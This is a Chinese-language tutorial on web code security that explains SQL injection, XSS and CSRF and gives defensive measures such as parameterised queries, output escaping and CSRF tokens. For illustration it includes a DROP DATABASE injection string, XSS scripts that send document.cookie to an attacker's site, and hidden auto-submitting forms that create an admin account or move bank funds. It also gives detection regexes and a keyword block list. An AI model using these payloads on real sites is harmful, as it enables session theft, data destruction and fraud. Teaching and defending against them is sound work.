代码安全

常见的安全漏洞和攻击:XSS, SQL注入, CSRF,SSRF,上传恶意文件,下载漏洞等攻击,下载文件漏洞,越权漏洞,代码泄露等。

SQL注入

攻击者输入特定参数,来构造恶意sql语句攻击数据库。

示例1:

登陆输入密码"123 or 1=1"
sql语句:select * from user where name=inputName and password=123 or 1=1

示例2:

用户名输入:'or 1 = 1--
sql语句:SELECT * FROM user_table WHERE username=''or 1 = 1 -- and password=''

示例3:

用户名输入:' ;DROP DATABASE (DB Name)--
sql语句:SELECT * FROM user_table WHERE username='' ;DROP DATABASE (DB Name) -- and password=”

策略:

  1. 参数化查询。先对sql语句进行预编译(PreparedStatement),输入的参数不会作为sql代码来执行sql语句,只是把输入串作为数据处理。
  2. 存储过程。提高性能的同时提高了安全性。
  3. 使用正则表达式过滤传入的参数
    正则表达式:var CHECKSQL = “^(.+)\sand\s(.+)|(.+)\sor(.+)\s$”;
    下面是具体的正则表达式:
    检测SQL meta-characters的正则表达式 :/(\%27)|(\’)|(–)|(\%23)|(#)/ix
    修正检测SQL meta-characters的正则表达式 :/((\%3D)|(=))[^\n]*((\%27)|(\’)|(–)|(\%3B)|(:))/i
    典型的SQL 注入攻击的正则表达式 :/\w*((\%27)|(\’))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
    检测SQL注入,UNION查询关键字的正则表达式 :/((\%27)|(\’))union/ix(\%27)|(\’)
    检测MS SQL Server SQL注入攻击的正则表达式:/exec(\s|+)+(s|x)p\w+/ix
  4. 字符串过滤
    比较通用的一个方法:
    String inj_str = “’|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,”;
    检查输入的文本是否包含||之间的参数(||之间的参数可以根据自己程序的需要添加)

纵深防御:信息安全重要方针之一。布置多道防御屏障,即使其一失效,也会被其他防线弥补。
safe01.png

XSS(Cross Site Scripting)跨站脚本攻击

通过插入恶意的html,javascript脚本,来攻击网站,盗取用户Cookie、破坏页面结构、重定向到其它网站。
漏洞: 构造动态文档时,未进行正确的编码和转义

基于DOM(Document Object Model)的XSS:DOM的树形结构会动态的将恶意代码嵌入页面,框架,程序或API而实现的跨站攻击。
反射式XSS(非持久性XSS):恶意脚本未经转义被直接输入并作为HTML输出的一部分,恶意脚本不在后台存储,直接在前端浏览器被执行。
存储式XSS(持久性XSS):恶意脚本被后台存储,并后期被其它用户或管理员点击展示从而实现攻击。危害面更广。

反射式XSS示例1:

用户在搜索框输入:<script>恶意js代码</script>

反射式XSS示例2:

这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样。

基于DOM的XSS示例1:

<h1><?php echo $title ?></h1>
用户输入的$title :'<script>恶意js代码</script>'

基于DOM的XSS示例2:

(1)当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的。
<body><?php echo $content; ?></body>
(2)我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>
(3)当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!

存储式XSS示例1:

a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!

策略:

  1. 不要信任任何用户输入,对输入的具体特殊字符,长度,类型等的数据进行过滤处理,使用输入白名单控制。
  2. 对输出的数据使用html编码对一些字符做转义处理,所有Html和xml中输出的数据,都需要做html转义处理(html escape)。
  3. 为cookie设置httponly属性,避免攻击者通过document.cookie 盗取合法用户的cookie;

CSRF(Cross-Site Request Forgery)跨站请求伪造攻击

劫持被攻击者浏览器发送http请求到目标网站触发某种操作的漏洞。
csrf最终作用对象时服务器上的web程序,是远端的。CSRF是因为过分信任用户,放任来自通过身份验证的所谓合法用户的请求执行网站的某个特定功能而进行的攻击。而xss的最终作用对象是浏览器,是本地的,XSS是由于放任来自浏览器的输入任意执行导致了。

CSRF攻击攻击原理及过程如下:
  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
    2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  2. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  3. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  4. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
站内发起攻击:

利用网站本身的业务,比如“自定义头像”功能,恶意用户指定自己的头像URL是一个可以修改用户信息的链接,当其他一登陆用户浏览恶意用户头像时,会自动向这个链接发送修改信息请求。站内CSRF攻击通常结合XSS一起使用。

示例:

恶意攻击者在某论坛留言板中输入:

<form name="form1" method="post" action="http://10.81.10.201/cms/admin/user.action.php">
 <input name="act" value="add">
     <input name="username" value="hacker">
     <input name="password" value="hacker">
     <input name="password2" value="hacker">
     <input name="userid" value="0">
</form>
<script language="javascript">
document.form1.submit();
</script>
`

当系统管理员登录系统并查看留言时,就会在管理员完全没有察觉的情况下,执行了恶意攻击者的JS语句去创建用户名和密码都为hacker的用户。这样恶意攻击者就通过伪造请求的方式创建了hacker这个用户。

站外发起攻击:

从站外发送请求,则需要恶意用户在自己的服务器上,放一个自动提交修改个人信息的htm页面,并把页面地址发给受害者用户,受害者用户打开时,会发起一个请求。如果恶意用户能够知道网站管理后台某项功能的URL,就可以直接攻击管理员,强迫管理员执行恶意用户定义的操作。

站外攻击实例如下:

(1)在页面中加入一个<img>标签,浏览器就会发送一个请求,以获取其src属性引用的值
(2)攻击者将敏感操作的URI作为src
(3)继承Cookie,以浏览者的身份作敏感访问并操作
(4)危害:在用户无意识情况下进行危险操作

示例1:

攻击者为了攻击某站点的登录用户,可以构造2个HTML页面。
首先在页面a.htm中写一个没有面积的iframe,以免受害者看到提交结果而产生警觉.
<iframe src="b.htm" width="0" height="0"></frame>

然后在页面b.htm中,写入CSRF攻击代码:

<form id="modify" action="http://xx.com/servlet/modify" method="POST">
<input name="email">
<input name="userid">
</form>
<script>
document.getElementById("modify").submit();
</script>
`

接下来,攻击者需要设法诱骗合法用户访问a.htm,一旦用户打开a.htm,就会自动提交表单,从而达到CSRF攻击的目的。

示例2:

(1)受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。
(2)黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行:http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。
(3)这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。

CSRF漏洞检测:

检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。
随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。
以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

策略:

  1. Referery验证
    根据 HTTP 协议,在HTTP 头中有一个字段叫 Referer,它记录了该HTTP 请求的来源地址。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。但是这个方法并不是绝对的,referer是可以被伪造的。这种方式对于站内攻击也是无效的。
  2. 对于csrf攻击最有效的手段就是使用不可猜测的字段,token。
    因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的cookie 来通过安全验证。
    (1)在请求地址中添加 token 并验证 CSRF 攻击之所以能够成功,要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
    (2)token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上 ,这样就把 token 以参数的形式加入请求了。但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。
    该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token,黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使这个 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。
    (3)在 HTTP 头中自定义属性并验证 这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。
  3. 判断该请求是否为网站内已知正常的功能页面。
  4. 图形验证码、短信验证码、UKey、要求再次输入密码等方式均对CSRF有效。
  5. 尽量不要在页面的链接中暴露用户隐私信息。
  6. 对于用户修改删除等操作最好都使用post 操作 。
  7. 避免全站通用的cookie,严格设置cookie的域。

token机制:
safe02.png

参考文档

代码安全:https://blog.csdn.net/yangyuge1987/article/details/81302770
代码安全:https://blog.csdn.net/yangyuge1987/article/details/81302770
常见代码安全漏洞分析及处理: https://cloud.tencent.com/developer/news/205266
如何保证代码是没安全漏洞的:https://blog.csdn.net/lyx_zhl/article/details/78016149

延伸

设计基于HTML5的APP登录功能及安全调用接口的方式(原理篇),token的使用:http://ask.dcloud.net.cn/article/157

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